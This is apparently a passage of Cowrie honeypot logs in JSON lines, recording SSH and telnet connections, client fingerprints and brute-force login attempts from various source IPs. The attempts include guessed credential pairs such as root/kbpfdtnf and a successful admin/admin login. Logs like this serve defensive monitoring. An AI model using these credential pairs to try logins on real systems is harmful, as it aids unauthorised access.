{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:41.927869Z","src_ip":"38.93.206.2","session":"61149ec05352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kbpfdtnf","message":"login attempt [root/kbpfdtnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:42.114413Z","src_ip":"38.93.206.2","session":"61149ec05352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:43.199477Z","src_ip":"38.93.206.2","session":"61149ec05352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.224.100","src_port":63100,"dst_ip":"10.17.0.5","dst_port":22,"session":"da13b13c4cfe","protocol":"ssh","message":"New connection: 34.62.224.100:63100 (10.17.0.5:22) [session: da13b13c4cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:02.213261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:02.300680Z","src_ip":"34.62.224.100","session":"da13b13c4cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.224.100","src_port":63114,"dst_ip":"10.17.0.5","dst_port":22,"session":"7092058e4f33","protocol":"ssh","message":"New connection: 34.62.224.100:63114 (10.17.0.5:22) [session: 7092058e4f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:02.457917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:02.464256Z","src_ip":"34.62.224.100","session":"7092058e4f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:02.543029Z","src_ip":"34.62.224.100","session":"7092058e4f33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:04.379503Z","src_ip":"34.62.224.100","session":"7092058e4f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:04.464301Z","src_ip":"34.62.224.100","session":"7092058e4f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:04.468637Z","src_ip":"34.62.224.100","session":"da13b13c4cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:09.679847Z","src_ip":"34.62.224.100","session":"da13b13c4cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.210.118","src_port":54468,"dst_ip":"10.17.0.5","dst_port":22,"session":"079af42b6346","protocol":"ssh","message":"New connection: 35.190.210.118:54468 (10.17.0.5:22) [session: 079af42b6346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:10.230802Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:10.311902Z","src_ip":"35.190.210.118","session":"079af42b6346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":30133,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc12087fe5e","protocol":"ssh","message":"New connection: 2.57.121.25:30133 (10.17.0.5:22) [session: ccc12087fe5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:10.481498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:10.490619Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:10.597007Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130985","message":"login attempt [user/130985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:11.098486Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13091992","message":"login attempt [user/13091992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:12.207224Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130891","message":"login attempt [user/130891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:13.317456Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130781","message":"login attempt [user/130781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:14.427741Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13071995","message":"login attempt [user/13071995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:15.541004Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:16.651696Z","src_ip":"2.57.121.25","session":"ccc12087fe5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.10272717475891,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:35.427663Z","src_ip":"79.139.59.21","session":"18bca6b9e5d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00489330291748,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:38.400565Z","src_ip":"167.0.90.191","session":"daef0a48206b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00301384925842,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:40.964764Z","src_ip":"167.0.90.191","session":"3b79decbf36c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00132989883423,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:41.237310Z","src_ip":"167.0.90.191","session":"bc655b7f1af6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":60207,"dst_ip":"10.17.0.5","dst_port":23,"session":"586d397fa308","protocol":"telnet","message":"New connection: 167.0.90.191:60207 (10.17.0.5:23) [session: 586d397fa308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:41.474565Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":60231,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cda645c755a","protocol":"telnet","message":"New connection: 167.0.90.191:60231 (10.17.0.5:23) [session: 6cda645c755a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:41.907411Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":36664,"dst_ip":"159.203.135.109","dst_port":22,"session":"5faa5f96a758","protocol":"ssh","message":"New connection: 37.233.85.71:36664 (159.203.135.109:22) [session: 5faa5f96a758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:51.544740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:51.551082Z","src_ip":"37.233.85.71","session":"5faa5f96a758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:51.662244Z","src_ip":"37.233.85.71","session":"5faa5f96a758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"denis1997","message":"login attempt [root/denis1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:51.991222Z","src_ip":"37.233.85.71","session":"5faa5f96a758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:35:53.103564Z","src_ip":"37.233.85.71","session":"5faa5f96a758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41624,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaac9b545b05","protocol":"ssh","message":"New connection: 103.77.242.62:41624 (10.17.0.5:22) [session: aaac9b545b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:03.981352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:03.986221Z","src_ip":"103.77.242.62","session":"aaac9b545b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:04.241605Z","src_ip":"103.77.242.62","session":"aaac9b545b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06061987","message":"login attempt [root/06061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:04.998280Z","src_ip":"103.77.242.62","session":"aaac9b545b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:06.253396Z","src_ip":"103.77.242.62","session":"aaac9b545b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":37578,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b51e156a87","protocol":"ssh","message":"New connection: 103.82.36.79:37578 (10.17.0.5:22) [session: f6b51e156a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:30.425357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:30.434197Z","src_ip":"103.82.36.79","session":"f6b51e156a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:30.693694Z","src_ip":"103.82.36.79","session":"f6b51e156a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:31.500375Z","src_ip":"103.82.36.79","session":"f6b51e156a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:36:32.759649Z","src_ip":"103.82.36.79","session":"f6b51e156a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":60398,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4a2c6878955","protocol":"ssh","message":"New connection: 103.173.227.57:60398 (159.203.135.109:22) [session: c4a2c6878955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:00.865906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:00.871062Z","src_ip":"103.173.227.57","session":"c4a2c6878955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"